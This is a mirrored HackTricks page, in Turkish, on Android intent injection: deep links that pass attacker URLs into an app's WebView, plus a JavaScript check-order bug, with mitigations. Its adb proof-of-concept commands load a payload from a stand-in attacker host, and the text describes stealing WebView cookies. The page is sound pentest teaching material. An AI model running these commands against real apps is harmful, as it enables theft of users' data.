mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
65 lines
3.7 KiB
Markdown
65 lines
3.7 KiB
Markdown
# Intent Injection
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
Intent injection, saldırgan tarafından kontrol edilen Intents veya daha sonra Intents'e dönüştürülen verileri kabul eden bileşenleri istismar eder. Android uygulama pentestleri sırasında iki çok yaygın desen şunlardır:
|
||
|
||
- Özel, dışa aktarılmamış bileşenlere daha sonra iletilen dışa aktarılmış Activities/Services/BroadcastReceivers'a hazırlanmış ekler geçirme.
|
||
- Saldırgan tarafından kontrol edilen URL'leri içsel WebView'lara veya diğer hassas sink'lere yönlendiren dışa aktarılmış VIEW/BROWSABLE derin bağlantıları tetikleme.
|
||
|
||
## Derin bağlantılar → WebView sink (URL parametre enjeksiyonu)
|
||
|
||
Eğer bir uygulama aşağıdaki gibi özel bir şemaya sahip derin bağlantı açıyorsa:
|
||
```text
|
||
myscheme://com.example.app/web?url=<attacker_url>
|
||
```
|
||
ve alıcı Activity, `url` sorgu parametresini bir WebView'a ilettiğinde, uygulamayı kendi WebView bağlamında keyfi uzak içeriği render etmeye zorlayabilirsiniz.
|
||
|
||
adb üzerinden PoC:
|
||
```bash
|
||
# Implicit VIEW intent
|
||
adb shell am start -a android.intent.action.VIEW \
|
||
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
|
||
|
||
# Or explicitly target an Activity
|
||
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
|
||
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
|
||
```
|
||
Impact
|
||
- HTML/JS uygulamanın WebView profilinde çalıştırılır.
|
||
- JavaScript etkinse (varsayılan olarak veya yanlış sıralanmış kontroller nedeniyle), herhangi bir açık `@JavascriptInterface` nesnesini listeleyebilir/kullanabilir, WebView çerezlerini/yerel depolamayı çalabilir ve pivot yapabilirsiniz.
|
||
|
||
Ayrıca bakınız:
|
||
|
||
{{#ref}}
|
||
webview-attacks.md
|
||
{{#endref}}
|
||
|
||
## JavaScript'i etkinleştiren kontrol sırası hatası
|
||
|
||
Tekrarlayan bir hata, JavaScript'i (veya diğer izin verici WebView ayarlarını) son URL beyaz liste/doğrulama tamamlanmadan önce etkinleştirmektir. Erken yardımcılar derin bağlantınızı kabul ederse ve WebView önce yapılandırılırsa, son yüklemeniz JavaScript zaten etkinken gerçekleşir, daha sonraki kontroller hatalı veya çok geç olsa bile.
|
||
|
||
Decompile edilmiş kodda aramanız gerekenler:
|
||
- URL'yi farklı şekilde ayrıştıran/bölüp/yeniden inşa eden birden fazla yardımcı (tutarsız normalizasyon).
|
||
- Son host/path beyaz liste kontrolünden önce `getSettings().setJavaScriptEnabled(true)` çağrıları.
|
||
- Aşağıdaki gibi bir işlem hattı: ayrıştır → kısmi doğrula → WebView'ı yapılandır → son doğrula → loadUrl.
|
||
|
||
Mitigations
|
||
- Bir kez kanonikleştir ve sıkı bir şekilde doğrula; kapalı başar.
|
||
- Tüm kontroller geçtikten sonra ve yalnızca güvenilir içerik yüklemeden hemen önce JavaScript'i etkinleştir.
|
||
- Güvenilmeyen kökenlere köprüler açmaktan kaçının.
|
||
|
||
## Diğer klasik Intent enjeksiyon primitifleri
|
||
|
||
- saldırgan tarafından sağlanan `Intent` ekleri kullanarak startActivity/sendBroadcast, daha sonra yeniden ayrıştırılır (`Intent.parseUri(...)`) ve yürütülür.
|
||
- İzin kontrolü olmadan Intents'i dışa aktarılmamış hassas bileşenlere ileten dışa aktarılmış proxy bileşenleri.
|
||
|
||
## References
|
||
|
||
- [Android – Access to app-protected components](https://blog.oversecured.com/Android-Access-to-app-protected-components/)
|
||
- [Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough](https://medium.com/@happyjester80/samsung-s24-exploit-chain-pwn2own-2024-walkthrough-c7a3da9a7a26)
|
||
- [Pwn2Own Ireland 2024 – Samsung S24 attack chain (whitepaper)](https://maliciouserection.com/2025/05/13/pwn2own-ireland-2024-samsung-s24-attack-chain-whitepaper.html)
|
||
- [Demonstration video](https://www.youtube.com/watch?v=LAIr2laU-So)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|